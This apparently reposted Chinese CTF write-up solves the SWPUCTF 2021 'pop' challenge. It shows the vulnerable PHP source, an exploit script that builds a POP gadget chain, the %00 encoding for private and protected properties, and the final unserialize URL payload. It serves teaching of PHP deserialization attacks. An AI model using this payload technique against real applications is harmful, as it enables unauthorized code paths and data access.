[SWPUCTF 2021 新生赛]pop

2023-12-26 11:31:57

[SWPUCTF 2021 新生赛]pop wp

知识点就三个:PHP 反序列化、私有属性序列化、受保护属性序列化。

题目中已经给出了源码:

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

这是一道 PHP 反序列化题。构造 exp :

<?php

error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m{
public $w00m;
}

class w33m{
public $w00m;
public $w22m;
}

$demo = new w22m;
$demo->w00m = new w33m;
$demo->w00m->w00m = new w44m;
$demo->w00m->w22m = "Getflag";
echo serialize($demo);

?>

得到一串序列化的字符串:

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

由于 w44m 类的属性 admin 是私有属性(private),passwd 是受保护的属性(protected)所以反序列化后的字符串与 public 属性是不一样的。

私有属性(private)传参时:

s:字符串长度:"%00所属类名%00属性名";

示例:

s:11:"%00w44m%00admin";

受保护的属性(protected)传参时:

s:字符串长度:"%00*%00属性名";

示例:

s:9:"%00*%00passwd";s:5:"08067";

所以需要传入的 payload 为:

?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

拿到 flag :
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73612768/article/details/135215875
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。